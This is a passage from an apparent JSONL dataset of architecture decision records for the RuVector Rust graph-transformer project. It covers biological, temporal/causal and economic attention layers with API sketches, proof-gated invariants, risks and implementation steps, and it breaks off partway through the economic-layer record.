simulation timestep, adding a hyperparameter not present in standard graph transformers\n- Hebbian rules converge to principal components, which may not align with downstream task objectives; requires hybrid training (Hebbian pre-training + fine-tuning)\n- DendriticAttention introduces per-node compartment state, increasing memory by `num_branches * compartment_dim` per node\n- Spectral radius estimation via power iteration has variance; the `EffectiveOperator` uses a conservative 3-sigma bound (rho_est + 3\u03c3 < 1.0) with configurable iteration count. If variance is too high (\u03c3 > 0.05), the proof gate rejects and forces a re-estimation with more iterations\n\n### Risks\n\n- Spiking graph attention on dense graphs (degree > 100) may produce pathological synchronization (all nodes fire simultaneously). Mitigation: `InhibitionStrategy` is CORE, not optional \u2014 synchrony collapse is a safety failure. The `BalancedEI` variant enforces Dale's law and maintains E/I ratio within proven bounds. Refractory periods provide the first line of defense; inhibition provides the structural guarantee\n- BCM metaplasticity threshold drift can cause learning shutdown if the graph distribution shifts. Mitigation: periodic threshold reset via EWC anchor points\n- Neuromorphic hardware mapping (Loihi 2 core allocation mentioned in the research doc) is out of scope for this ADR; it requires hardware-specific compilation not available in the Rust toolchain today\n\n### Design Decisions\n\n**Q: Are inhibitory dynamics core or an optional module?**\n\nCore. Synchrony collapse on dense graphs is a safety failure, not a feature regression. Without inhibition, the spectral radius bound can be satisfied (rho < 1.0) while correlated firing still violates the independence assumption in the bound. `InhibitionStrategy` is a required field on `SpikingGraphAttention`, not an optional module behind a feature flag. The `BalancedEI` variant is the recommended default for graphs with mean degree > 50.\n\n**Q: Does STDP rewiring change topology or weights only?**\n\nBoth, at different proof tiers. Weight updates are Standard tier (frequent, cheap, per-timestep). Topology changes (edge pruning and growth) are Deep tier (expensive, batched per epoch). This separation exists because topology changes invalidate min-cut partitions and require `ScopeTransitionAttestation`, while weight changes within a fixed topology preserve partition boundaries. The `StdpEdgeUpdater` exposes `update_weights()` and `rewire_topology()` as separate methods with different proof gates.\n\n### Missing Layer: BTSP and e-prop\n\nThis ADR does not yet define a `BtspLayer` or `EpropLayer` as first-class graph transformer components. The primitives exist in `ruvector-nervous-system::plasticity::{btsp, eprop}` and should be composed into graph transformer layers in a follow-up ADR. The key integration question is how eligibility traces (e-prop) interact with the proof-gated mutation protocol \u2014 each trace update is a stateful mutation that should carry a lightweight Reflex-tier proof.\n\n### Acceptance Tests\n\n1. `test_synchrony_invariant`: Create a fully connected 200-node spiking graph. Run 1000 timesteps without inhibition \u2014 verify synchrony collapse (>90% simultaneous firing). Enable `BalancedEI` inhibition \u2014 verify firing rate stays below 20% per timestep. The proof gate must reject any step where E/I ratio exceeds bounds.\n\n2. `test_hebbian_constitutional_rule`: Attempt to apply Hebbian weight update without unlocking the ProofGate. Verify compile-time enforcement (the weight buffer is only accessible via `ProofGate::unlock()`). At runtime, verify that a HebbianLayer with `norm_bound.threshold = 0.001` rejects a large learning rate step.\n\n3. `test_stdp_topology_tier_separation`: Run STDP on a 500-node graph for 100 timesteps. Verify all weight updates route to Standard tier. Trigger topology rewire (edge pruning). Verify it routes to Deep tier and produces `ScopeTransitionAttestation`. Verify total attestation chain length matches expected (100 Standard + 1 Deep).\n\n4. `test_spectral_radius_conservative_bound`: Construct a weight matrix with known spectral radius 0.95. Run `EffectiveOperator` estimation with 20 iterations. Verify the estimated bound + 3\u03c3 < 1.0. Reduce `safety_margin` to 0.001 \u2014 verify the proof gate rejects (too tight).\n\n## Implementation\n\n1. Create `crates/ruvector-graph-transformer/src/biological/mod.rs` re-exporting all types including `EffectiveOperator`, `InhibitionStrategy`, `HebbianNormBound`\n2. Implement `SpikingGraphAttention` in `biological/spiking.rs`, bridging to `ruvector-mincut-gated-transformer::attention::spike_driven`, with mandatory `InhibitionStrategy` and `EffectiveOperator`\n3. Implement `HebbianLayer` in `biological/hebbian.rs`, bridging to `ruvector-gnn::ewc::ElasticWeightConsolidation`, with `HebbianNormBound` (diagonal Fisher, layerwise)\n4. Implement `StdpEdgeUpdater` in `biological/stdp.rs` with two-tier proof gates: `update_weights()` at Standard, `rewire_topology()` at Deep\n5. Implement `DendriticAttention` in `biological/dendritic.rs`, bridging to `ruvector-nervous-system::dendrite::{compartment, coincidence, plateau}`\n6. Add benchmark: `benches/biological_bench.rs` measuring spike throughput on a 10,000-node graph over 1,000 timesteps, with and without inhibition\n7. Integration test: spiking graph attention + STDP update loop for 100 steps, verify stability attestation chain including tier distribution\n8. Run acceptance tests 1-4 defined above\n9. Verify build: `cargo test --features biological -p ruvector-graph-transformer`\n\n## References\n\n- ADR-046: Graph Transformer Unified Architecture (module structure, feature flags)\n- ADR-047: Proof-Gated Mutation Protocol (`ProofGate`, `ProofRequirement`, spectral radius invariants)\n- ADR-049: Verified Training Pipeline (per-step invariant verification, `LipschitzBound`)\n- Research: `docs/research/gnn-v2/23-biological-graph-transformers.md`\n- `crates/ruvector-mincut-gated-transformer/src/attention/spike_driven.rs`: `SpikeDrivenAttention`\n- `crates/ruvector-mincut-gated-transformer/src/spike.rs`: `SpikeScheduler`, novelty gating\n- `crates/ruvector-nervous-system/src/dendrite/compartment.rs`: `Compartment` model\n- `crates/ruvector-nervous-system/src/dendrite/coincidence.rs`: `CoincidenceDetector`\n- `crates/ruvector-nervous-system/src/dendrite/plateau.rs`: `PlateauGenerator`\n- `crates/ruvector-nervous-system/src/plasticity/btsp.rs`: BTSP with eligibility traces\n- `crates/ruvector-nervous-system/src/plasticity/eprop.rs`: e-prop learning\n- `crates/ruvector-nervous-system/src/plasticity/consolidate.rs`: synaptic consolidation\n- `crates/ruvector-nervous-system/src/compete/inhibition.rs`: lateral inhibition\n- `crates/ruvector-gnn/src/ewc.rs`: `ElasticWeightConsolidation`\n- `crates/ruvector-gnn/src/replay.rs`: `ReplayBuffer`, `ReplayEntry`\n- `crates/ruvector-verified/src/gated.rs`: `ProofTier`, `route_proof`, `ProofClass`\n- `crates/ruvector-nervous-system/src/compete/inhibition.rs`: `WTA`, `Lateral`, `BalancedEI`\n- Bellec et al., \"A solution to the learning dilemma for recurrent networks of spiking neurons\" (Nature Comms, 2020) -- e-prop\n- Bittner et al., \"Behavioral time scale synaptic plasticity\" (Neuron, 2017)\n- Oja, \"Simplified neuron model as a principal component analyzer\" (J Math Bio, 1982)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-052-biological-graph-layers.md", "created_at": "2026-03-28T11:58:49.653863+00:00", "content_hash": "1d1944a24e327f2f65f780d771b2cc513a9e870bc20f62bfd401b91d5a91ea6b"} +{"id": "689f5347-1422-4809-a5f7-9e52d9390d2a", "source": "adr", "text": "# ADR-053: Temporal and Causal Graph Transformer Layers\n\n## Status\n\nAccepted\n\n## Date\n\n2026-02-25\n\n## Context\n\nMost real-world graphs evolve over time: social networks rewire daily, financial transaction graphs stream continuously, biological interaction networks change with cellular state. Standard graph transformers treat the graph as a static snapshot, computing attention over a fixed adjacency matrix. This causes stale representations, causal confusion (future events leaking into past representations), and missing dynamics (temporal patterns carry signal that static embeddings cannot capture).\n\nRuVector has extensive infrastructure for temporal and causal graph processing:\n\n- `ruvector-dag/src/attention/causal_cone.rs`: `CausalConeAttention` focusing on ancestors with temporal discount\n- `ruvector-dag/src/attention/temporal_btsp.rs`: Behavioral Timescale Synaptic Plasticity attention with eligibility traces\n- `ruvector-dag/src/attention/topological.rs`: topological attention respecting DAG structure\n- `ruvector-dag/src/dag/traversal.rs`: DAG traversal, topological sort, ancestor/descendant queries\n- `ruvector-dag/src/dag/query_dag.rs`: query DAG construction\n- `ruvector-temporal-tensor/src/delta.rs`: `DeltaChain` for sparse temporal compression\n- `ruvector-temporal-tensor/src/tier_policy.rs`: hot/warm/cold tiered storage policies\n- `ruvector-temporal-tensor/src/tiering.rs`: tiered tensor storage implementation\n- `ruvector-attention/src/hyperbolic/lorentz_cascade.rs`: `LorentzCascadeAttention` with Busemann scoring (Lorentz metric is spacetime metric)\n- `ruvector-graph/`: property graph with temporal metadata, Cypher queries\n\nHowever, there is no composition layer that enforces causal ordering through the proof system, provides continuous-time ODE dynamics on graphs, or extracts Granger causality from attention weights with structural certificates. The research at `docs/research/gnn-v2/28-temporal-causal-graph-transformers.md` describes the theory but provides no integration path with the proof-gated mutation protocol.\n\n## Decision\n\nWe will implement a `temporal` module in `ruvector-graph-transformer` behind the `temporal` feature flag. The module provides causal graph attention with proof-gated temporal ordering, retrocausal safety enforcement, continuous-time neural ODE on graphs, Granger causality extraction, and delta chain integration for temporal compression.\n\n### CausalGraphTransformer\n\nCausal masking with proof-gated temporal ordering:\n\n```rust\n/// Causal graph transformer with proof-gated temporal mutations.\n///\n/// Every temporal mutation must prove that its timestamp is strictly\n/// greater than all predecessor timestamps in the causal cone.\n/// Bridges to ruvector-dag::attention::causal_cone::CausalConeAttention.\npub struct CausalGraphTransformer {\n /// Causal cone attention from ruvector-dag.\n causal_attention: CausalConeAttention,\n /// Mask strategy: Strict, TimeWindow, or Topological.\n mask_strategy: MaskStrategy,\n /// Temporal discount factor for ancestor weighting.\n discount: f32,\n /// Whether retrocausal (bidirectional) mode is permitted.\n allow_retrocausal: bool,\n /// Proof requirement: causal ordering.\n causal_proof: ProofRequirement,\n}\n\npub enum MaskStrategy {\n /// Strict: only ancestors in the DAG may attend.\n Strict,\n /// TimeWindow: ancestors within a fixed time window.\n TimeWindow { window_size: f64 },\n /// Topological: attention follows topological ordering.\n Topological,\n}\n\nimpl CausalGraphTransformer {\n /// Causal forward pass.\n ///\n /// For each node v at time t, computes attention only over\n /// nodes u with timestamp t_u <= t. The causal ordering is\n /// verified via proof gate:\n ///\n /// ProofRequirement::InvariantPreserved {\n /// invariant_id: CAUSAL_ORDERING_INVARIANT,\n /// }\n ///\n /// Routes to ProofTier::Reflex for timestamp comparisons (< 10 ns)\n /// since these are scalar comparisons.\n pub fn forward(\n &self,\n features: &[f32],\n timestamps: &[f64],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n\n /// Interventional query: compute P(h_v(t) | do(h_u(t') = x)).\n ///\n /// Severs incoming edges to the intervened node and propagates\n /// the intervention downstream through the causal graph.\n /// Uses ruvector-dag::dag::traversal for descendant computation.\n pub fn intervene(\n &self,\n target_node: NodeId,\n target_time: f64,\n intervention_value: &[f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\n### Retrocausal Safety\n\nBidirectional temporal attention is only permitted in offline/batch mode:\n\n```rust\n/// Retrocausal attention with strict safety enforcement.\n///\n/// Forward (causal) pass: h_v^->(t) uses only events at t' <= t.\n/// Backward (retrocausal) pass: h_v^<-(t) uses only events at t' >= t.\n/// Smoothed: h_v(t) = gate(h_v^->(t), h_v^<-(t)).\n///\n/// The retrocausal pass is ONLY invoked when `mode == TemporalMode::Batch`.\n/// In online/streaming mode, the proof gate REJECTS any attempt to\n/// access future timestamps. This is enforced at the type level:\n/// `RetrocausalAttention::forward` requires `&BatchModeToken`, which\n/// can only be constructed when the full temporal window is available.\npub struct RetrocausalAttention {\n forward_attention: CausalConeAttention,\n backward_attention: CausalConeAttention,\n gate: LearnedGate,\n}\n\n/// Token proving batch mode is active. Cannot be constructed in streaming mode.\npub struct BatchModeToken { _private: () }\n\nimpl RetrocausalAttention {\n /// Bidirectional smoothed attention. Requires batch mode proof.\n pub fn forward(\n &self,\n features: &[f32],\n timestamps: &[f64],\n graph: &impl GraphRepr,\n batch_token: &BatchModeToken,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\n### ContinuousTimeODE\n\nNeural ODE on graphs with adaptive integration:\n\n```rust\n/// Continuous-time graph network via neural ODE.\n///\n/// dh_v(t)/dt = f_theta(h_v(t), {h_u(t) : u in N(v, t)}, t)\n///\n/// Uses adaptive Dormand-Prince (RK45) integration with proof-gated\n/// error control. The error tolerance proof ensures the local\n/// truncation error stays below a configurable bound.\npub struct ContinuousTimeODE {\n /// Hidden dimension.\n dim: usize,\n /// ODE solver tolerance (absolute).\n atol: f64,\n /// ODE solver tolerance (relative).\n rtol: f64,\n /// Maximum integration steps (prevents infinite loops).\n max_steps: usize,\n /// Proof requirement: integration error bound.\n error_proof: ProofRequirement,\n}\n\nimpl ContinuousTimeODE {\n /// Integrate node embeddings from t_start to t_end.\n ///\n /// The neighborhood N(v, t) changes as edges appear/disappear.\n /// Edge events between t_start and t_end are processed in order.\n /// Proof gate verifies local truncation error at each adaptive step\n /// via ProofTier::Standard (error norm computation).\n pub fn integrate(\n &self,\n features: &mut [f32],\n t_start: f64,\n t_end: f64,\n edge_events: &[TemporalEdgeEvent],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n\npub struct TemporalEdgeEvent {\n pub source: NodeId,\n pub target: NodeId,\n pub timestamp: f64,\n pub event_type: EdgeEventType,\n}\n\npub enum EdgeEventType {\n Add,\n Remove,\n UpdateWeight(f32),\n}\n```\n\n### Granger Causality Extraction\n\nExtract causal structure from learned attention weights:\n\n```rust\n/// Granger causality extraction from temporal attention weights.\n///\n/// Computes time-averaged attention weights and thresholds them\n/// to produce a Granger-causal DAG. The DAG is stored in\n/// ruvector-dag format for efficient traversal and querying.\n///\n/// A structural certificate attests that the extracted graph is\n/// acyclic (a valid DAG) and that edge weights exceed the\n/// significance threshold.\npub struct GrangerCausalityExtractor {\n /// Significance threshold for edge inclusion.\n threshold: f64,\n /// Minimum time window for averaging attention weights.\n min_window: usize,\n}\n\nimpl GrangerCausalityExtractor {\n /// Extract Granger-causal graph from temporal attention history.\n ///\n /// Returns a DAG with edge weights = time-averaged attention.\n /// The proof gate certifies acyclicity via topological sort\n /// from ruvector-dag::dag::traversal (ProofTier::Standard).\n pub fn extract(\n &self,\n attention_history: &[AttentionSnapshot],\n timestamps: &[f64],\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n```\n\n### Delta Chain Integration\n\nTemporal compression via `ruvector-temporal-tensor`:\n\n```rust\n/// Temporal embedding storage with delta chain compression.\n///\n/// Bridges to ruvector-temporal-tensor::delta::DeltaChain for\n/// storing node embedding histories as base + sparse deltas.\n/// Retrieval of h_v(t) for any historical time t is O(chain_length).\n///\n/// Tiered storage (hot/warm/cold) via ruvector-temporal-tensor::tiering\n/// keeps recent embeddings in memory and older ones on disk.\npub struct TemporalEmbeddingStore {\n /// Delta chain per node.\n chains: Vec,\n /// Tier policy from ruvector-temporal-tensor.\n tier_policy: TierPolicy,\n}\n\nimpl TemporalEmbeddingStore {\n /// Store a new embedding snapshot for node v at time t.\n /// Computes delta from previous snapshot and appends to chain.\n pub fn store(&mut self, node: NodeId, time: f64, embedding: &[f32]);\n\n /// Retrieve embedding at historical time t via delta replay.\n pub fn retrieve(&self, node: NodeId, time: f64) -> Option>;\n\n /// Compact old deltas according to tier policy.\n pub fn compact(&mut self);\n}\n```\n\n### Proof-Gated Temporal Mutations\n\n| Operation | Proof Requirement | Tier | Latency |\n|-----------|------------------|------|---------|\n| Timestamp ordering (causal mask) | `t_new > t_predecessor` | Reflex | < 10 ns |\n| Retrocausal mode check | Batch mode token valid | Reflex | < 10 ns |\n| ODE error bound | Local truncation error < atol | Standard(100) | < 1 us |\n| Granger DAG acyclicity | Topological sort succeeds | Standard(500) | < 5 us |\n| Interventional propagation | Causal cone completeness | Deep | < 50 us |\n\n### Feature Flag\n\n```toml\n# In crates/ruvector-graph-transformer/Cargo.toml\n[features]\ntemporal = [\n \"ruvector-dag/attention\",\n \"ruvector-temporal-tensor\",\n \"ruvector-graph/temporal\",\n]\n```\n\n## Consequences\n\n### Positive\n\n- Causal ordering is enforced by the proof system, preventing future information leakage that corrupts online predictions\n- Retrocausal safety is enforced at the type level (`BatchModeToken`), making it impossible to accidentally use bidirectional attention in streaming mode\n- Continuous-time ODE handles irregular event streams without discretization artifacts\n- Granger causality extraction produces auditable causal graphs with structural certificates\n- Delta chain compression reduces temporal embedding storage by 10-100x compared to full snapshots\n\n### Negative\n\n- Causal masking reduces effective attention receptive field compared to full (non-causal) attention\n- Neural ODE integration with adaptive stepping has variable compute cost per forward pass\n- Granger causality extraction requires accumulating attention history, adding O(T * n^2 / sparsity) memory\n- Delta chain retrieval for deep historical queries is O(chain_length), not O(1)\n\n### Risks\n\n- In streaming mode with high event rates (>10K events/sec), causal cone computation may become a bottleneck. Mitigation: maintain incremental ancestor sets using `ruvector-dag::dag::traversal` with cached topological order\n- ODE solver may fail to converge for stiff graph dynamics. Mitigation: fall back to implicit Euler with Newton iteration when adaptive RK45 exceeds max_steps\n- Retrocausal attention smoothing may overfit to the specific temporal window available in batch mode. Mitigation: temporal cross-validation with held-out future windows\n\n## Implementation\n\n1. Create `crates/ruvector-graph-transformer/src/temporal/mod.rs` re-exporting all types\n2. Implement `CausalGraphTransformer` in `temporal/causal.rs`, bridging to `ruvector-dag::attention::causal_cone`\n3. Implement `RetrocausalAttention` in `temporal/retrocausal.rs` with `BatchModeToken` type safety\n4. Implement `ContinuousTimeODE` in `temporal/ode.rs` with adaptive Dormand-Prince integration\n5. Implement `GrangerCausalityExtractor` in `temporal/granger.rs` using `ruvector-dag::dag::traversal`\n6. Implement `TemporalEmbeddingStore` in `temporal/store.rs`, bridging to `ruvector-temporal-tensor::delta::DeltaChain`\n7. Add benchmark: `benches/temporal_bench.rs` measuring causal attention throughput on a 100K-event stream over 10K nodes\n8. Integration test: streaming causal attention for 1,000 events + Granger extraction, verify DAG acyclicity certificate\n9. Verify build: `cargo test --features temporal -p ruvector-graph-transformer`\n\n## References\n\n- ADR-046: Graph Transformer Unified Architecture (module structure, `temporal` feature flag)\n- ADR-047: Proof-Gated Mutation Protocol (`ProofGate`, timestamp ordering invariants)\n- ADR-049: Verified Training Pipeline (temporal invariant checking during training)\n- Research: `docs/research/gnn-v2/28-temporal-causal-graph-transformers.md`\n- `crates/ruvector-dag/src/attention/causal_cone.rs`: `CausalConeAttention`, `MaskStrategy`\n- `crates/ruvector-dag/src/attention/temporal_btsp.rs`: BTSP attention with eligibility traces\n- `crates/ruvector-dag/src/attention/topological.rs`: topological attention\n- `crates/ruvector-dag/src/dag/traversal.rs`: topological sort, ancestor/descendant queries\n- `crates/ruvector-dag/src/dag/query_dag.rs`: query DAG construction\n- `crates/ruvector-temporal-tensor/src/delta.rs`: `DeltaChain` for sparse delta compression\n- `crates/ruvector-temporal-tensor/src/tier_policy.rs`: `TierPolicy` for hot/warm/cold storage\n- `crates/ruvector-temporal-tensor/src/tiering.rs`: tiered storage implementation\n- `crates/ruvector-attention/src/hyperbolic/lorentz_cascade.rs`: `LorentzCascadeAttention`\n- `crates/ruvector-verified/src/gated.rs`: `ProofTier`, `route_proof`\n- Granger, \"Investigating Causal Relations by Econometric Models and Cross-spectral Methods\" (Econometrica, 1969)\n- Chen et al., \"Neural Ordinary Differential Equations\" (NeurIPS, 2018)\n- Pearl, \"Causality: Models, Reasoning, and Inference\" (Cambridge, 2009)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-053-temporal-causal-graph-layers.md", "created_at": "2026-03-28T11:58:49.654072+00:00", "content_hash": "36fdce71def999021b8415202cd24bc039f3b46792280e034000b3e80dee31a8"} +{"id": "8b07dd63-310c-43dd-a834-ae22dc79de88", "source": "adr", "text": "# ADR-054: Economic Graph Transformer Layers\n\n## Status\n\nAccepted\n\n## Date\n\n2026-02-25\n\n## Context\n\nStandard graph neural networks assume cooperative nodes: every vertex computes its feature update faithfully and passes honest messages. This assumption fails in federated learning, multi-stakeholder knowledge graphs, decentralized finance, supply chain networks, and autonomous vehicle coordination -- settings where nodes belong to independent agents with competing objectives. Without economic reasoning, GNNs are vulnerable to free-riding, Sybil attacks, and strategic information withholding.\n\nRuVector already contains the economic and game-theoretic building blocks:\n\n- `ruvector-economy-wasm/src/stake.rs`: staking and slashing mechanisms\n- `ruvector-economy-wasm/src/reputation.rs`: reputation scoring and decay\n- `ruvector-economy-wasm/src/ledger.rs`: CRDT-based distributed ledger\n- `ruvector-economy-wasm/src/curve.rs`: bonding curves for token economics\n- `ruvector-dag/src/qudag/tokens/staking.rs`: stake-weighted DAG consensus\n- `ruvector-dag/src/qudag/tokens/rewards.rs`: reward distribution\n- `ruvector-dag/src/qudag/tokens/governance.rs`: governance token mechanics\n- `ruvector-dag/src/qudag/consensus.rs`: Byzantine fault-tolerant consensus\n- `ruvector-verified/src/gated.rs`: proof-gated verification for budget proofs\n\nHowever, there is no module that embeds game-theoretic reasoning into graph attention itself -- attention as Nash equilibrium, VCG mechanisms for truthful message passing, Shapley attribution for fair contribution measurement, or market-based routing for attention bandwidth allocation. The research at `docs/research/gnn-v2/29-economic-graph-transformers.md` describes the theory but defines no implementation path through existing crate APIs.\n\n## Decision\n\nWe will implement an `economic` module in `ruvector-graph-transformer` behind the `economic` feature flag (not in the default feature set due to the additional complexity and dependency on `ruvector-economy-wasm`). The module provides four layer types: `GameTheoreticAttention`, `VcgMessagePassing`, `IncentiveAlignedMPNN`, and `ShapleyAttention`.\n\n### GameTheoreticAttention\n\nNash equilibrium computation via iterated best response:\n\n```rust\n/// Game-theoretic attention where each node maximizes expected payoff.\n///\n/// Replaces softmax(QK^T / sqrt(d)) with equilibrium attention:\n/// each node selects an attention distribution that maximizes\n/// U_v(sigma_v, sigma_{-v}) = relevance - cost + externality.\n///\n/// Convergence: O(log(1/epsilon)) rounds for potential games,\n/// O(1/epsilon^2) for general games. In practice 3-5 rounds suffice.\npub struct GameTheoreticAttention {\n /// Per-node utility parameters [relevance_w, cost_w, externality_w].\n utility_weights: Vec<[f32; 3]>,\n /// Strategy temperature (controls exploration vs exploitation).\n temperature: f32,\n /// Best-response iterations to approximate Nash equilibrium.\n best_response_iters: usize,\n /// Convergence threshold (L-infinity distance between rounds).\n convergence_threshold: f32,\n /// Proof requirement: equilibrium convergence certificate.\n equilibrium_proof: ProofRequirement,\n}\n\nimpl GameTheoreticAttention {\n /// Compute equilibrium attention weights.\n ///\n /// Initializes with uniform attention, then iterates best response:\n /// each node selects softmax(payoff / temperature) over neighbors.\n ///\n /// Proof gate: verifies convergence (max strategy change < threshold)\n /// via ProofTier::Standard. If not converged after max iterations,\n /// falls back to standard softmax attention and logs a warning.\n pub fn compute_equilibrium(\n &self,\n queries: &[f32],\n keys: &[f32],\n values: &[f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n\n /// Compute social welfare: sum of all nodes' utilities at equilibrium.\n pub fn social_welfare(&self, equilibrium: &EquilibriumOutput) -> f64;\n\n /// Compute Price of Anarchy: ratio of optimal welfare to equilibrium welfare.\n pub fn price_of_anarchy(\n &self,\n equilibrium: &EquilibriumOutput,\n optimal: &AttentionOutput,\n ) -> f64;\n}\n```\n\n### VcgMessagePassing\n\nVickrey-Clarke-Groves mechanism for truthful message passing:\n\n```rust\n/// VCG mechanism for incentive-compatible graph message passing.\n///\n/// Allocation rule: attention mechanism selects message weights.\n/// Payment rule: each node pays a tax equal to the externality\n/// its message imposes on others.\n///\n/// payment(u -> v) = sum_{w != u} U_w(alloc_with_u)\n/// - sum_{w != u} U_w(alloc_without_u)\n///\n/// Truthful reporting is a dominant strategy under VCG.\npub struct VcgMessagePassing {\n /// Base attention mechanism for allocation.\n base_attention: Box,\n /// Number of samples for approximate VCG (reduces O(n^2) to O(n log n)).\n vcg_samples: usize,\n /// Proof requirement: incentive compatibility certificate.\n incentive_proof: ProofRequirement,\n}\n\nimpl VcgMessagePassing {\n /// Forward pass with VCG payments.\n ///\n /// 1. Compute attention allocation with all nodes.\n /// 2. For each sampled node u, recompute allocation without u.\n /// 3. Payment(u) = marginal externality.\n ///\n /// Proof gate: verifies individual rationality (all payments >= 0\n /// for non-strategic nodes) and approximate budget balance\n /// (sum of payments within epsilon of zero).\n /// Routes to ProofTier::Standard (sum computation).\n pub fn forward(\n &self,\n features: &[f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n\npub struct VcgOutput {\n /// Message passing output (node features).\n pub features: Vec,\n /// Per-node VCG payments.\n pub payments: Vec,\n /// Budget surplus (should be near zero).\n pub budget_surplus: f64,\n}\n```\n\n### IncentiveAlignedMPNN\n\nStake-weighted messaging with slashing from `ruvector-economy-wasm`:\n\n```rust\n/// Incentive-aligned message passing with stake and reputation.\n///\n/// Bridges to:\n/// - ruvector_economy_wasm::stake::StakeRegistry for stake management\n/// - ruvector_economy_wasm::reputation::ReputationScore for quality tracking\n/// - ruvector_economy_wasm::ledger::CrdtLedger for distributed state\n///\n/// Nodes must stake tokens to send messages. Messages from high-reputation\n/// nodes receive amplified attention. Low-quality messages trigger slashing.\npub struct IncentiveAlignedMPNN {\n /// Stake registry from ruvector-economy-wasm.\n stake_registry: StakeRegistry,\n /// Reputation ledger (CRDT-based).\n reputation_ledger: CrdtLedger,\n /// Message quality model (learned scorer).\n quality_model: MessageQualityModel,\n /// Slashing fraction for low-quality messages.\n slash_fraction: f64,\n /// Minimum stake to participate in message passing.\n min_stake: u64,\n /// Proof requirement: stake sufficiency.\n stake_proof: ProofRequirement,\n}\n\nimpl IncentiveAlignedMPNN {\n /// Forward pass with economic incentives.\n ///\n /// 1. Verify each sender has sufficient stake (ProofTier::Reflex).\n /// 2. Weight messages by reputation * stake.\n /// 3. Score message quality after aggregation.\n /// 4. Update reputation: high-quality messages earn reputation,\n /// low-quality messages lose reputation and stake.\n ///\n /// Returns both the updated features and an economic ledger update\n /// recording all stake movements and reputation changes.\n pub fn forward(\n &mut self,\n features: &[f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n\n /// Slash a node for provably bad behavior.\n /// Requires proof of misbehavior via ruvector-verified.\n pub fn slash(\n &mut self,\n node: NodeId,\n proof: &ProofAttestation,\n ) -> Result;\n}\n\npub struct EconomicOutput {\n pub features: Vec,\n pub ledger_update: LedgerUpdate,\n pub slashed_nodes: Vec,\n pub total_stake_moved: u64,\n}\n```\n\n### ShapleyAttention\n\nFair attribution via Monte Carlo Shapley values:\n\n```rust\n/// Shapley attention for fair contribution attribution.\n///\n/// Computes the Shapley value of each neighbor's message to each\n/// target node. The Shapley value is the average marginal contribution\n/// over all possible orderings of neighbors.\n///\n/// Exact computation is O(2^|N(v)|) per node, so we use Monte Carlo\n/// approximation with configurable sample count.\npub struct ShapleyAttention {\n /// Number of Monte Carlo permutations per node.\n num_permutations: usize,\n /// Base attention mechanism for evaluating coalitions.\n base_attention: Box,\n /// Proof requirement: Shapley efficiency (values sum to v(N)).\n efficiency_proof: ProofRequirement,\n}\n\nimpl ShapleyAttention {\n /// Compute Shapley attention values.\n ///\n /// For each target node v, samples random orderings of N(v),\n /// computes marginal contribution of each neighbor at its\n /// position in the ordering, and averages.\n ///\n /// Proof gate: verifies Shapley efficiency axiom --\n /// sum of Shapley values equals total coalition value v(N(v)).\n /// Routes to ProofTier::Standard (sum comparison).\n pub fn forward(\n &self,\n features: &[f32],\n graph: &impl GraphRepr,\n env: &mut ProofEnvironment,\n ) -> Result>;\n}\n\npub struct ShapleyOutput {\n /// Updated node features.\n pub features: Vec,\n /// Per-edge Shapley values (attribution weights).\n pub shapley_values: Vec,\n}\n```\n\n### Proof-Gated Economic Invariants\n\n| Operation | Proof Requirement | Tier | Latency |\n|-----------|------------------|------|---------|\n| Stake sufficiency check | `stake >= min_stake` | Reflex | < 10 ns |\n| Equilibrium convergence | Max strategy delta < threshold | Standard(200) | < 2 us |\n| VCG individual rationality | All payments >= 0 | Standard(100) | < 1 us |\n| VCG budget balance | `|sum(payments)| < epsilon` | Standard(100) | < 1 us |\n| Shapley efficiency | `sum(phi_i) == v(N)` | Standard(100) | < 1 us |\n| Slashing proof | Proof of misbehavior valid | Deep | < 100 us |\n\n### Feature Flag\n\n```toml\n# In crates/ruvector-graph-transformer/Cargo.toml\n[features]\neconomic = [\n \"ruvector-economy-wasm\",\n \"ruvector-dag/tokens\",\n]\n```\n\nThe `economic` feature is intentionally NOT part of the `default` or `full` feature sets. Users must explicitly opt in because it introduces economic state (staking, reputation) that requires careful lifecycle management.\n\n## Consequences\n\n### Positive\n\n- Incentive compatibility via VCG ensures nodes cannot profit from sending dishonest messages\n- Stake-weighted messaging makes Sybil attacks economically prohibitive (each fake identity requires its own stake)\n- Shapley attribution provides theoretically fair contribution measurement, enabling equitable reward distribution in federated graph learning\n- Game-theoretic attention reveals the economic structure of the graph (which nodes are strategic, which are cooperative)\n- Proof-gated economic invariants create an auditable trail of all stake movements and slashing events\n\n### Negative\n\n- Nash equilibrium computation adds O(best_response_iters * n * avg_degree) overhead per attention layer\n- VCG payments require recomputing attention without each sampled node, adding O(vcg_samples * n) cost\n- Shapley Monte Carlo approximation has O(num_permutations * avg_degree) variance per node\n- Economic state (stake registry, reputation ledger) adds persistent state that must be serialized and recovered across sessions\n- The `economic` feature introduces a dependency on `ruvector-economy-wasm`, which is a WASM-target crate; native builds require the `ruvector-economy-wasm` crate to expose a native API\n\n### Risks\n\n- Game-theoretic attention may not converge for adversarial graph topologies (star graphs with a single high-degree node). Mitigation: fallback to standard softmax after max iterations with a logged convergence failure\n- VCG approximate budget balance (via sampling) may have high variance for small sample counts. Mitigation: adaptive sampling that increases count until budget surplus stabilizes below epsilon\n- Slashing without proper adjudication creates centralization risk. Mitigation: slashing requires a `ProofAttestation` (Deep tier) proving the misbehavior, preventing unilateral slashing\n- Token economics (bonding curves from `ruvector-economy-wasm::curve`) may create perverse incentives if parameters are misconfigured. Mitigation: parameter bounds enforced via proof gate (min/max stake, max slash fraction)\n\n## Implementation\n\n1. Create `crates/ruvector-graph-transformer/src/economic/mod.rs` re-exporting all types\n2. Implement `GameTheoreticAttention` in `economic/game_theory.rs` with iterated best response\n3. Implement `VcgMessagePassing` in `economic/vcg.rs` with approximate VCG via sampling\n4. Implement `IncentiveAlignedMPNN` in `economic/incentive.rs`, 